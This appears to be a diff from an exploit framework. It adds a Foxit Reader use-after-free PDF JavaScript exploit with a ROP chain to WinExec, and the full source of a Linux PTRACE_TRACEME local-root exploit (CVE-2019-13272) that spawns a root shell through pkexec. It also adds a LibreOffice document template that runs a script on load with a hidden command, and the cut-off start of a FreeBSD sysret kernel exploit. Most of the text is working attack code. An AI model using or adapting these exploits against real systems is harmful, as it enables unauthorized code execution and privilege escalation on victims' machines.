function alloc_at_leak(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
pwn_array[i] = new Int32Array(new ArrayBuffer(0x40));
|
||||
}
|
||||
}
|
||||
|
||||
function control_memory(){
|
||||
for (var i = 0; i < 0x64; i++){
|
||||
for (var j = 0; j < pwn_array[i].length; j++){
|
||||
pwn_array[i][j] = foxit_base + 0x01a7ee23; // push ecx; pop esp; pop ebp; ret 4
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
function leak_vtable(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
|
||||
a.destroy();
|
||||
gc();
|
||||
|
||||
prepare_heap(0x400);
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
var leaked = stolen[0] & 0xffff0000;
|
||||
foxit_base = leaked - 0x01f50000;
|
||||
}
|
||||
|
||||
function leak_heap_chunk(){
|
||||
var a = this.addAnnot({type: "Text"});
|
||||
a.destroy();
|
||||
prepare_heap(0x400);
|
||||
|
||||
var test = new ArrayBuffer(0x60);
|
||||
var stolen = new Int32Array(test);
|
||||
|
||||
alloc_at_leak();
|
||||
heap_ptr = stolen[1];
|
||||
}
|
||||
|
||||
function reclaim(){
|
||||
var arr = new Array(0x10);
|
||||
for (var i = 0; i < arr.length; i++) {
|
||||
arr[i] = new ArrayBuffer(0x60);
|
||||
var rop = new Int32Array(arr[i]);
|
||||
|
||||
rop[0x00] = heap_ptr; // pointer to our stack pivot from the TypedArray leak
|
||||
rop[0x01] = foxit_base + 0x01a11d09; // xor ebx,ebx; or [eax],eax; ret
|
||||
rop[0x02] = 0x72727272; // junk
|
||||
rop[0x03] = foxit_base + 0x00001450 // pop ebp; ret
|
||||
rop[0x04] = 0xffffffff; // ret of WinExec
|
||||
rop[0x05] = foxit_base + 0x0069a802; // pop eax; ret
|
||||
rop[0x06] = foxit_base + 0x01f2257c; // IAT WinExec
|
||||
rop[0x07] = foxit_base + 0x0000c6c0; // mov eax,[eax]; ret
|
||||
rop[0x08] = foxit_base + 0x00049d4e; // xchg esi,eax; ret
|
||||
rop[0x09] = foxit_base + 0x00025cd6; // pop edi; ret
|
||||
rop[0x0a] = foxit_base + 0x0041c6ca; // ret
|
||||
rop[0x0b] = foxit_base + 0x000254fc; // pushad; ret
|
||||
<%= rop %>
|
||||
rop[0x17] = 0x00000000; // adios, amigo
|
||||
}
|
||||
}
|
||||
|
||||
function trigger_uaf(){
|
||||
var that = this;
|
||||
var a = this.addAnnot({type:"Text", page: 0, name:"uaf"});
|
||||
var arr = [1];
|
||||
Object.defineProperties(arr,{
|
||||
"0":{
|
||||
get: function () {
|
||||
|
||||
that.getAnnot(0, "uaf").destroy();
|
||||
|
||||
reclaim();
|
||||
return 1;
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
a.point = arr;
|
||||
}
|
||||
|
||||
function main(){
|
||||
leak_heap_chunk();
|
||||
leak_vtable();
|
||||
control_memory();
|
||||
trigger_uaf();
|
||||
}
|
||||
|
||||
if (app.platform == "WIN"){
|
||||
if (app.isFoxit == "Foxit Reader"){
|
||||
if (app.appFoxitVersion == "9.0.1.1049"){
|
||||
main();
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
)>> trailer <</Root 1 0 R>>
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
BIN
Binary file not shown.
@@ -0,0 +1,15 @@
|
||||
#EXTM3U
|
||||
#EXT-X-VERSION:3
|
||||
#EXT-X-TARGETDURATION:4
|
||||
#EXT-X-MEDIA-SEQUENCE:0
|
||||
#EXTINF:3.433333,
|
||||
epicsax0.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax1.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax2.ts
|
||||
#EXTINF:1.700000,
|
||||
epicsax3.ts
|
||||
#EXTINF:1.466667,
|
||||
epicsax4.ts
|
||||
#EXT-X-ENDLIST
|
||||
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
Binary file not shown.
@@ -0,0 +1,4 @@
|
||||
|
||||
all:
|
||||
x86_64-linux-musl-cc -static -s -pie poc.c -o exploit
|
||||
|
||||
Executable
BIN
Binary file not shown.
@@ -0,0 +1,464 @@
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// Uses pkexec technique
|
||||
// ---
|
||||
// Original discovery and exploit author: Jann Horn
|
||||
// - https://bugs.chromium.org/p/project-zero/issues/detail?id=1903
|
||||
// ---
|
||||
// <bcoles@gmail.com>
|
||||
// - added known helper paths
|
||||
// - added search for suitable helpers
|
||||
// - added automatic targeting
|
||||
// - changed target suid executable from passwd to pkexec
|
||||
// https://github.com/bcoles/kernel-exploits/tree/master/CVE-2019-13272
|
||||
// ---
|
||||
// Tested on:
|
||||
// - Ubuntu 16.04.5 kernel 4.15.0-29-generic
|
||||
// - Ubuntu 18.04.1 kernel 4.15.0-20-generic
|
||||
// - Ubuntu 19.04 kernel 5.0.0-15-generic
|
||||
// - Ubuntu Mate 18.04.2 kernel 4.18.0-15-generic
|
||||
// - Linux Mint 17.3 kernel 4.4.0-89-generic
|
||||
// - Linux Mint 18.3 kernel 4.13.0-16-generic
|
||||
// - Linux Mint 19 kernel 4.15.0-20-generic
|
||||
// - Xubuntu 16.04.4 kernel 4.13.0-36-generic
|
||||
// - ElementaryOS 0.4.1 4.8.0-52-generic
|
||||
// - Backbox 6 kernel 4.18.0-21-generic
|
||||
// - Parrot OS 4.5.1 kernel 4.19.0-parrot1-13t-amd64
|
||||
// - Kali kernel 4.19.0-kali5-amd64
|
||||
// - Redcore 1806 (LXQT) kernel 4.16.16-redcore
|
||||
// - MX 18.3 kernel 4.19.37-2~mx17+1
|
||||
// - RHEL 8.0 kernel 4.18.0-80.el8.x86_64
|
||||
// - Debian 9.4.0 kernel 4.9.0-6-amd64
|
||||
// - Debian 10.0.0 kernel 4.19.0-5-amd64
|
||||
// - Devuan 2.0.0 kernel 4.9.0-6-amd64
|
||||
// - SparkyLinux 5.8 kernel 4.19.0-5-amd64
|
||||
// - Fedora Workstation 30 kernel 5.0.9-301.fc30.x86_64
|
||||
// - Manjaro 18.0.3 kernel 4.19.23-1-MANJARO
|
||||
// - Mageia 6 kernel 4.9.35-desktop-1.mga6
|
||||
// - Antergos 18.7 kernel 4.17.6-1-ARCH
|
||||
// ---
|
||||
// user@linux-mint-19-2:~$ gcc -Wall --std=gnu99 -s poc.c -o ptrace_traceme_root
|
||||
// user@linux-mint-19-2:~$ ./ptrace_traceme_root
|
||||
// Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)
|
||||
// [.] Checking environment ...
|
||||
// [~] Done, looks good
|
||||
// [.] Searching for known helpers ...
|
||||
// [~] Found known helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Using helper: /usr/sbin/mate-power-backlight-helper
|
||||
// [.] Spawning suid process (/usr/bin/pkexec) ...
|
||||
// [.] Tracing midpid ...
|
||||
// [~] Attached to midpid
|
||||
// To run a command as administrator (user "root"), use "sudo <command>".
|
||||
// See "man sudo_root" for details.
|
||||
//
|
||||
// root@linux-mint-19-2:/home/user#
|
||||
// ---
|
||||
|
||||
#define _GNU_SOURCE
|
||||
#include <string.h>
|
||||
#include <stdlib.h>
|
||||
#include <unistd.h>
|
||||
#include <signal.h>
|
||||
#include <stdio.h>
|
||||
#include <fcntl.h>
|
||||
#include <sched.h>
|
||||
#include <stddef.h>
|
||||
#include <stdarg.h>
|
||||
#include <pwd.h>
|
||||
#include <sys/prctl.h>
|
||||
#include <sys/wait.h>
|
||||
#include <sys/ptrace.h>
|
||||
#include <sys/user.h>
|
||||
#include <sys/syscall.h>
|
||||
#include <sys/stat.h>
|
||||
#include <linux/elf.h>
|
||||
|
||||
#define DEBUG
|
||||
|
||||
#ifdef DEBUG
|
||||
# define dprintf printf
|
||||
#else
|
||||
# define dprintf
|
||||
#endif
|
||||
|
||||
#define SAFE(expr) ({ \
|
||||
typeof(expr) __res = (expr); \
|
||||
if (__res == -1) { \
|
||||
dprintf("[-] Error: %s\n", #expr); \
|
||||
return 0; \
|
||||
} \
|
||||
__res; \
|
||||
})
|
||||
#define max(a,b) ((a)>(b) ? (a) : (b))
|
||||
|
||||
/*
|
||||
* execveat() syscall
|
||||
* https://github.com/torvalds/linux/blob/master/arch/x86/entry/syscalls/syscall_64.tbl
|
||||
*/
|
||||
#ifndef __NR_execveat
|
||||
# define __NR_execveat 322
|
||||
#endif
|
||||
|
||||
static const char *SHELL = "/bin/bash";
|
||||
|
||||
static int middle_success = 1;
|
||||
static int block_pipe[2];
|
||||
static int self_fd = -1;
|
||||
static int dummy_status;
|
||||
static const char *helper_path;
|
||||
static const char *pkexec_path = "/usr/bin/pkexec";
|
||||
static const char *pkaction_path = "/usr/bin/pkaction";
|
||||
struct stat st;
|
||||
|
||||
const char *helpers[1024];
|
||||
|
||||
const char *known_helpers[] = {
|
||||
"/usr/lib/gnome-settings-daemon/gsd-backlight-helper",
|
||||
"/usr/lib/gnome-settings-daemon/gsd-wacom-led-helper",
|
||||
"/usr/lib/unity-settings-daemon/usd-backlight-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/xfce4/session/xfsm-shutdown-helper",
|
||||
"/usr/lib/x86_64-linux-gnu/cinnamon-settings-daemon/csd-backlight-helper",
|
||||
"/usr/sbin/mate-power-backlight-helper",
|
||||
"/usr/bin/xfpm-power-backlight-helper",
|
||||
"/usr/bin/lxqt-backlight_backend",
|
||||
"/usr/libexec/gsd-wacom-led-helper",
|
||||
"/usr/libexec/gsd-wacom-oled-helper",
|
||||
"/usr/libexec/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-backlight-helper",
|
||||
"/usr/lib/gsd-wacom-led-helper",
|
||||
"/usr/lib/gsd-wacom-oled-helper",
|
||||
};
|
||||
|
||||
/* temporary printf; returned pointer is valid until next tprintf */
|
||||
static char *tprintf(char *fmt, ...) {
|
||||
static char buf[10000];
|
||||
va_list ap;
|
||||
va_start(ap, fmt);
|
||||
vsprintf(buf, fmt, ap);
|
||||
va_end(ap);
|
||||
return buf;
|
||||
}
|
||||
|
||||
/*
|
||||
* fork, execute pkexec in parent, force parent to trace our child process,
|
||||
* execute suid executable (pkexec) in child.
|
||||
*/
|
||||
static int middle_main(void *dummy) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
pid_t middle = getpid();
|
||||
|
||||
self_fd = SAFE(open("/proc/self/exe", O_RDONLY));
|
||||
|
||||
pid_t child = SAFE(fork());
|
||||
if (child == 0) {
|
||||
prctl(PR_SET_PDEATHSIG, SIGKILL);
|
||||
|
||||
SAFE(dup2(self_fd, 42));
|
||||
|
||||
/* spin until our parent becomes privileged (have to be fast here) */
|
||||
int proc_fd = SAFE(open(tprintf("/proc/%d/status", middle), O_RDONLY));
|
||||
char *needle = tprintf("\nUid:\t%d\t0\t", getuid());
|
||||
while (1) {
|
||||
char buf[1000];
|
||||
ssize_t buflen = SAFE(pread(proc_fd, buf, sizeof(buf)-1, 0));
|
||||
buf[buflen] = '\0';
|
||||
if (strstr(buf, needle)) break;
|
||||
}
|
||||
|
||||
/*
|
||||
* this is where the bug is triggered.
|
||||
* while our parent is in the middle of pkexec, we force it to become our
|
||||
* tracer, with pkexec's creds as ptracer_cred.
|
||||
*/
|
||||
SAFE(ptrace(PTRACE_TRACEME, 0, NULL, NULL));
|
||||
|
||||
/*
|
||||
* now we execute a suid executable (pkexec).
|
||||
* Because the ptrace relationship is considered to be privileged,
|
||||
* this is a proper suid execution despite the attached tracer,
|
||||
* not a degraded one.
|
||||
* at the end of execve(), this process receives a SIGTRAP from ptrace.
|
||||
*/
|
||||
execl(pkexec_path, basename(pkexec_path), NULL);
|
||||
|
||||
dprintf("[-] execl: Executing suid executable failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
SAFE(dup2(self_fd, 0));
|
||||
SAFE(dup2(block_pipe[1], 1));
|
||||
|
||||
/* execute pkexec as current user */
|
||||
struct passwd *pw = getpwuid(getuid());
|
||||
if (pw == NULL) {
|
||||
dprintf("[-] getpwuid: Failed to retrieve username");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
middle_success = 1;
|
||||
execl(pkexec_path, basename(pkexec_path), "--user", pw->pw_name,
|
||||
helper_path,
|
||||
"--help", NULL);
|
||||
middle_success = 0;
|
||||
dprintf("[-] execl: Executing pkexec failed");
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
/* ptrace pid and wait for signal */
|
||||
static int force_exec_and_wait(pid_t pid, int exec_fd, char *arg0) {
|
||||
struct user_regs_struct regs;
|
||||
struct iovec iov = { .iov_base = ®s, .iov_len = sizeof(regs) };
|
||||
SAFE(ptrace(PTRACE_SYSCALL, pid, 0, NULL));
|
||||
SAFE(waitpid(pid, &dummy_status, 0));
|
||||
SAFE(ptrace(PTRACE_GETREGSET, pid, NT_PRSTATUS, &iov));
|
||||
|
||||
/* set up indirect arguments */
|
||||
unsigned long scratch_area = (regs.rsp - 0x1000) & ~0xfffUL;
|
||||
struct injected_page {
|
||||
unsigned long argv[2];
|
||||
unsigned long envv[1];
|
||||
char arg0[8];
|
||||
char path[1];
|
||||
} ipage = {
|
||||
.argv = { scratch_area + offsetof(struct injected_page, arg0) }
|
||||
};
|
||||
strcpy(ipage.arg0, arg0);
|
||||
int i;
|
||||
for (i = 0; i < sizeof(ipage)/sizeof(long); i++) {
|
||||
unsigned long pdata = ((unsigned long *)&ipage)[i];
|
||||
SAFE(ptrace(PTRACE_POKETEXT, pid, scratch_area + i * sizeof(long),
|
||||
(void*)pdata));
|
||||
}
|
||||
|
||||
/* execveat(exec_fd, path, argv, envv, flags) */
|
||||
regs.orig_rax = __NR_execveat;
|
||||
regs.rdi = exec_fd;
|
||||
regs.rsi = scratch_area + offsetof(struct injected_page, path);
|
||||
regs.rdx = scratch_area + offsetof(struct injected_page, argv);
|
||||
regs.r10 = scratch_area + offsetof(struct injected_page, envv);
|
||||
regs.r8 = AT_EMPTY_PATH;
|
||||
|
||||
SAFE(ptrace(PTRACE_SETREGSET, pid, NT_PRSTATUS, &iov));
|
||||
SAFE(ptrace(PTRACE_DETACH, pid, 0, NULL));
|
||||
SAFE(waitpid(pid, &dummy_status, 0));
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
static int middle_stage2(void) {
|
||||
/* our child is hanging in signal delivery from execve()'s SIGTRAP */
|
||||
pid_t child = SAFE(waitpid(-1, &dummy_status, 0));
|
||||
return force_exec_and_wait(child, 42, "stage3");
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * root shell * * * * * * * * * * * * * * * * *
|
||||
|
||||
static int spawn_shell(void) {
|
||||
SAFE(setresgid(0, 0, 0));
|
||||
SAFE(setresuid(0, 0, 0));
|
||||
execlp(SHELL, basename(SHELL), NULL);
|
||||
dprintf("[-] execlp: Executing shell %s failed", SHELL);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Detect * * * * * * * * * * * * * * * * * *
|
||||
|
||||
static int check_env(void) {
|
||||
int warn = 0;
|
||||
const char* xdg_session = getenv("XDG_SESSION_ID");
|
||||
|
||||
dprintf("[.] Checking environment ...\n");
|
||||
|
||||
if (stat(pkexec_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkexec executable at %s\n", pkexec_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
if (stat(pkaction_path, &st) != 0) {
|
||||
dprintf("[-] Could not find pkaction executable at %s\n", pkaction_path);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
if (stat("/dev/grsec", &st) == 0) {
|
||||
dprintf("[-] Warning: grsec is in use\n");
|
||||
warn++;
|
||||
}
|
||||
if (xdg_session == NULL) {
|
||||
dprintf("[!] Warning: $XDG_SESSION_ID is not set\n");
|
||||
warn++;
|
||||
}
|
||||
if (system("/bin/loginctl --no-ask-password show-session $XDG_SESSION_ID | /bin/grep Remote=no >>/dev/null 2>>/dev/null") != 0) {
|
||||
dprintf("[!] Warning: Could not find active PolKit agent\n");
|
||||
warn++;
|
||||
}
|
||||
if (stat("/usr/sbin/getsebool", &st) == 0) {
|
||||
if (system("/usr/sbin/getsebool deny_ptrace 2>&1 | /bin/grep -q on") == 0) {
|
||||
dprintf("[!] Warning: SELinux deny_ptrace is enabled\n");
|
||||
warn++;
|
||||
}
|
||||
}
|
||||
|
||||
dprintf("[~] Done, looks good\n");
|
||||
|
||||
return warn;
|
||||
}
|
||||
|
||||
/*
|
||||
* Use pkaction to search PolKit policy actions for viable helper executables.
|
||||
* Check each action for allow_active=yes, extract the associated helper path,
|
||||
* and check the helper path exists.
|
||||
*/
|
||||
int find_helpers() {
|
||||
char cmd[1024];
|
||||
snprintf(cmd, sizeof(cmd), "%s --verbose", pkaction_path);
|
||||
FILE *fp;
|
||||
fp = popen(cmd, "r");
|
||||
if (fp == NULL) {
|
||||
dprintf("[-] Failed to run: %s\n", cmd);
|
||||
exit(EXIT_FAILURE);
|
||||
}
|
||||
|
||||
char line[1024];
|
||||
char buffer[2048];
|
||||
int helper_index = 0;
|
||||
int useful_action = 0;
|
||||
static const char *needle = "org.freedesktop.policykit.exec.path -> ";
|
||||
int needle_length = strlen(needle);
|
||||
|
||||
while (fgets(line, sizeof(line)-1, fp) != NULL) {
|
||||
/* check the action uses allow_active=yes*/
|
||||
if (strstr(line, "implicit active:")) {
|
||||
if (strstr(line, "yes")) {
|
||||
useful_action = 1;
|
||||
}
|
||||
continue;
|
||||
}
|
||||
|
||||
if (useful_action == 0)
|
||||
continue;
|
||||
useful_action = 0;
|
||||
|
||||
/* extract the helper path */
|
||||
int length = strlen(line);
|
||||
char* found = memmem(&line[0], length, needle, needle_length);
|
||||
if (found == NULL)
|
||||
continue;
|
||||
|
||||
memset(buffer, 0, sizeof(buffer));
|
||||
int i;
|
||||
for (i = 0; found[needle_length + i] != '\n'; i++) {
|
||||
if (i >= sizeof(buffer)-1)
|
||||
continue;
|
||||
buffer[i] = found[needle_length + i];
|
||||
}
|
||||
|
||||
if (strstr(&buffer[0], "/xf86-video-intel-backlight-helper") != 0 ||
|
||||
strstr(&buffer[0], "/cpugovctl") != 0 ||
|
||||
strstr(&buffer[0], "/package-system-locked") != 0 ||
|
||||
strstr(&buffer[0], "/cddistupgrader") != 0) {
|
||||
dprintf("[.] Ignoring blacklisted helper: %s\n", &buffer[0]);
|
||||
continue;
|
||||
}
|
||||
|
||||
/* check the path exists */
|
||||
if (stat(&buffer[0], &st) != 0)
|
||||
continue;
|
||||
|
||||
helpers[helper_index] = strndup(&buffer[0], strlen(buffer));
|
||||
helper_index++;
|
||||
|
||||
if (helper_index >= sizeof(helpers)/sizeof(helpers[0]))
|
||||
break;
|
||||
}
|
||||
|
||||
pclose(fp);
|
||||
return 0;
|
||||
}
|
||||
|
||||
// * * * * * * * * * * * * * * * * * Main * * * * * * * * * * * * * * * * *
|
||||
|
||||
int ptrace_traceme_root() {
|
||||
dprintf("[.] Using helper: %s\n", helper_path);
|
||||
|
||||
/*
|
||||
* set up a pipe such that the next write to it will block: packet mode,
|
||||
* limited to one packet
|
||||
*/
|
||||
SAFE(pipe2(block_pipe, O_CLOEXEC|O_DIRECT));
|
||||
SAFE(fcntl(block_pipe[0], F_SETPIPE_SZ, 0x1000));
|
||||
char dummy = 0;
|
||||
SAFE(write(block_pipe[1], &dummy, 1));
|
||||
|
||||
/* spawn pkexec in a child, and continue here once our child is in execve() */
|
||||
dprintf("[.] Spawning suid process (%s) ...\n", pkexec_path);
|
||||
static char middle_stack[1024*1024];
|
||||
pid_t midpid = SAFE(clone(middle_main, middle_stack+sizeof(middle_stack),
|
||||
CLONE_VM|CLONE_VFORK|SIGCHLD, NULL));
|
||||
if (!middle_success) return 1;
|
||||
|
||||
/*
|
||||
* wait for our child to go through both execve() calls (first pkexec, then
|
||||
* the executable permitted by polkit policy).
|
||||
*/
|
||||
while (1) {
|
||||
int fd = open(tprintf("/proc/%d/comm", midpid), O_RDONLY);
|
||||
char buf[16];
|
||||
int buflen = SAFE(read(fd, buf, sizeof(buf)-1));
|
||||
buf[buflen] = '\0';
|
||||
*strchrnul(buf, '\n') = '\0';
|
||||
if (strncmp(buf, basename(helper_path), 15) == 0)
|
||||
break;
|
||||
usleep(100000);
|
||||
}
|
||||
|
||||
/*
|
||||
* our child should have gone through both the privileged execve() and the
|
||||
* following execve() here
|
||||
*/
|
||||
dprintf("[.] Tracing midpid ...\n");
|
||||
SAFE(ptrace(PTRACE_ATTACH, midpid, 0, NULL));
|
||||
SAFE(waitpid(midpid, &dummy_status, 0));
|
||||
dprintf("[~] Attached to midpid\n");
|
||||
|
||||
force_exec_and_wait(midpid, 0, "stage2");
|
||||
exit(EXIT_SUCCESS);
|
||||
}
|
||||
|
||||
int main(int argc, char **argv) {
|
||||
if (strcmp(argv[0], "stage2") == 0)
|
||||
return middle_stage2();
|
||||
if (strcmp(argv[0], "stage3") == 0)
|
||||
return spawn_shell();
|
||||
|
||||
dprintf("Linux 4.10 < 5.1.17 PTRACE_TRACEME local root (CVE-2019-13272)\n");
|
||||
|
||||
check_env();
|
||||
|
||||
if (argc > 1 && strcmp(argv[1], "check") == 0) {
|
||||
exit(0);
|
||||
}
|
||||
|
||||
/* Search for known helpers defined in 'known_helpers' array */
|
||||
dprintf("[.] Searching for known helpers ...\n");
|
||||
int i;
|
||||
for (i=0; i<sizeof(known_helpers)/sizeof(known_helpers[0]); i++) {
|
||||
if (stat(known_helpers[i], &st) == 0) {
|
||||
helper_path = known_helpers[i];
|
||||
dprintf("[~] Found known helper: %s\n", helper_path);
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
}
|
||||
|
||||
/* Search polkit policies for helper executables */
|
||||
dprintf("[.] Searching for useful helpers ...\n");
|
||||
find_helpers();
|
||||
for (i=0; i<sizeof(helpers)/sizeof(helpers[0]); i++) {
|
||||
if (helpers[i] == NULL)
|
||||
break;
|
||||
|
||||
if (stat(helpers[i], &st) == 0) {
|
||||
helper_path = helpers[i];
|
||||
ptrace_traceme_root();
|
||||
}
|
||||
}
|
||||
|
||||
return 0;
|
||||
}
|
||||
Executable
BIN
Binary file not shown.
Executable
BIN
Binary file not shown.
@@ -0,0 +1,42 @@
|
||||
<?xml version="1.0" encoding="UTF-8"?>
|
||||
|
||||
<office:document xmlns:office="urn:oasis:names:tc:opendocument:xmlns:office:1.0" xmlns:style="urn:oasis:names:tc:opendocument:xmlns:style:1.0" xmlns:text="urn:oasis:names:tc:opendocument:xmlns:text:1.0" xmlns:table="urn:oasis:names:tc:opendocument:xmlns:table:1.0" xmlns:draw="urn:oasis:names:tc:opendocument:xmlns:drawing:1.0" xmlns:fo="urn:oasis:names:tc:opendocument:xmlns:xsl-fo-compatible:1.0" xmlns:xlink="http://www.w3.org/1999/xlink" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:meta="urn:oasis:names:tc:opendocument:xmlns:meta:1.0" xmlns:number="urn:oasis:names:tc:opendocument:xmlns:datastyle:1.0" xmlns:svg="urn:oasis:names:tc:opendocument:xmlns:svg-compatible:1.0" xmlns:chart="urn:oasis:names:tc:opendocument:xmlns:chart:1.0" xmlns:dr3d="urn:oasis:names:tc:opendocument:xmlns:dr3d:1.0" xmlns:math="http://www.w3.org/1998/Math/MathML" xmlns:form="urn:oasis:names:tc:opendocument:xmlns:form:1.0" xmlns:script="urn:oasis:names:tc:opendocument:xmlns:script:1.0" xmlns:config="urn:oasis:names:tc:opendocument:xmlns:config:1.0" xmlns:ooo="http://openoffice.org/2004/office" xmlns:ooow="http://openoffice.org/2004/writer" xmlns:oooc="http://openoffice.org/2004/calc" xmlns:dom="http://www.w3.org/2001/xml-events" xmlns:xforms="http://www.w3.org/2002/xforms" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:rpt="http://openoffice.org/2005/report" xmlns:of="urn:oasis:names:tc:opendocument:xmlns:of:1.2" xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns:grddl="http://www.w3.org/2003/g/data-view#" xmlns:officeooo="http://openoffice.org/2009/office" xmlns:tableooo="http://openoffice.org/2009/table" xmlns:drawooo="http://openoffice.org/2010/draw" xmlns:calcext="urn:org:documentfoundation:names:experimental:calc:xmlns:calcext:1.0" xmlns:loext="urn:org:documentfoundation:names:experimental:office:xmlns:loext:1.0" xmlns:field="urn:openoffice:names:experimental:ooo-ms-interop:xmlns:field:1.0" xmlns:formx="urn:openoffice:names:experimental:ooxml-odf-interop:xmlns:form:1.0" xmlns:css3t="http://www.w3.org/TR/css3-text/" office:version="1.2" office:mimetype="application/vnd.oasis.opendocument.text">
|
||||
<office:settings><config:config-item-set config:name="ooo:configuration-settings"><config:config-item config:name="LoadReadonly" config:type="boolean">true</config:config-item></config:config-item-set></office:settings>
|
||||
<office:scripts><office:event-listeners><script:event-listener script:language="ooo:script" script:event-name="dom:load" xlink:href="vnd.sun.star.script:LibreLogo|LibreLogo.py$run?language=Python&location=share" xlink:type="simple"/></office:event-listeners></office:scripts>
|
||||
<office:styles>
|
||||
<style:default-style style:family="graphic">
|
||||
<style:graphic-properties svg:stroke-color="#3465a4" draw:fill-color="#729fcf" fo:wrap-option="no-wrap" draw:shadow-offset-x="0.1181in" draw:shadow-offset-y="0.1181in" draw:start-line-spacing-horizontal="0.1114in" draw:start-line-spacing-vertical="0.1114in" draw:end-line-spacing-horizontal="0.1114in" draw:end-line-spacing-vertical="0.1114in" style:flow-with-text="false"/>
|
||||
<style:paragraph-properties style:text-autospace="ideograph-alpha" style:line-break="strict" style:font-independent-line-spacing="false">
|
||||
<style:tab-stops/>
|
||||
</style:paragraph-properties>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="paragraph">
|
||||
<style:paragraph-properties fo:orphans="2" fo:widows="2" fo:hyphenation-ladder-count="no-limit" style:text-autospace="ideograph-alpha" style:punctuation-wrap="hanging" style:line-break="strict" style:tab-stop-distance="0.4925in" style:writing-mode="page"/>
|
||||
<style:text-properties style:use-window-font-color="true" style:font-name="Liberation Serif" fo:font-size="96pt" fo:language="en" fo:country="US" style:letter-kerning="true" style:font-name-asian="NSimSun" style:font-size-asian="96pt" style:language-asian="zh" style:country-asian="CN" style:font-name-complex="Arial" style:font-size-complex="96pt" style:language-complex="hi" style:country-complex="IN" fo:hyphenate="false" fo:hyphenation-remain-char-count="2" fo:hyphenation-push-char-count="2"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table">
|
||||
<style:table-properties table:border-model="collapsing"/>
|
||||
</style:default-style>
|
||||
<style:default-style style:family="table-row">
|
||||
<style:table-row-properties fo:keep-together="auto"/>
|
||||
</style:default-style>
|
||||
<style:style style:name="Standard" style:family="paragraph" style:class="text" fo:color="#ffffff"/>
|
||||
<style:style style:name="Text_20_body" style:display-name="Text body" style:family="paragraph" style:parent-style-name="Standard" style:class="text">
|
||||
<style:paragraph-properties fo:margin-top="0in" fo:margin-bottom="0.0972in" loext:contextual-spacing="false" fo:line-height="20%"/>
|
||||
</style:style>
|
||||
<style:style style:name="Internet_20_link" style:display-name="Internet link" style:family="text">
|
||||
<style:text-properties fo:color="#ffffff" fo:language="zxx" fo:country="none" style:text-underline-style="solid" style:text-underline-width="auto" style:text-underline-color="font-color" style:language-asian="zxx" style:country-asian="none" style:language-complex="zxx" style:country-complex="none"/>
|
||||
</style:style>
|
||||
<style:style style:name="P8" style:family="paragraph" style:parent-style-name="Preformatted_20_Text"><style:text-properties fo:color="#ffffff" fo:font-size="2pt" officeooo:rsid="00443c94" officeooo:paragraph-rsid="00443c94" style:font-size-asian="2pt" style:font-size-complex="2pt"/></style:style>
|
||||
</office:styles>
|
||||
<office:master-styles>
|
||||
<style:master-page style:name="Standard" style:page-layout-name="pm1"/>
|
||||
</office:master-styles>
|
||||
<office:body>
|
||||
<office:text>
|
||||
<text:p text:style-name="P8"><%= @cmd %></text:p>
|
||||
<text:p text:style-name="Standard">#<%= text_content %></text:p>
|
||||
</office:text>
|
||||
</office:body>
|
||||
</office:document>
|
||||
@@ -0,0 +1,345 @@
|
||||
// CVE-2012-0217 Intel sysret exploit -- iZsh (izsh at fail0verflow.com)
|
||||
// Copyright 2012 all right reserved, not for commercial uses, bitches
|
||||
// Infringement Punishment: Monkeys coming out of your ass Bruce Almighty style.
|
||||
#include <stdio.h>
|
||||
#include <stdlib.h>
|
||||
#include <stdint.h>
|
||||
#include <unistd.h>
|
||||
#include <string.h>
|
||||
#include <sys/mman.h>
|
||||
#include <sys/utsname.h>
|
||||
#include <machine/cpufunc.h>
|
||||
#define _WANT_UCRED
|
||||
#include <sys/proc.h>
|
||||
#include <machine/segments.h>
|
||||
#include <sys/param.h>
|
||||
#include <sys/linker.h>
|
||||
|
||||
uintptr_t Xofl_ptr, Xbnd_ptr, Xill_ptr, Xdna_ptr, Xpage_ptr, Xfpu_ptr, Xalign_ptr, Xmchk_ptr, Xxmm_ptr;
|
||||
|
||||
struct gate_descriptor * sidt()
|
||||
{
|
||||
struct region_descriptor idt;
|
||||
|
||||
asm ("sidt %0": "=m"(idt));
|
||||
|
||||
return (struct gate_descriptor*)idt.rd_base;
|
||||
}
|
||||
|
||||
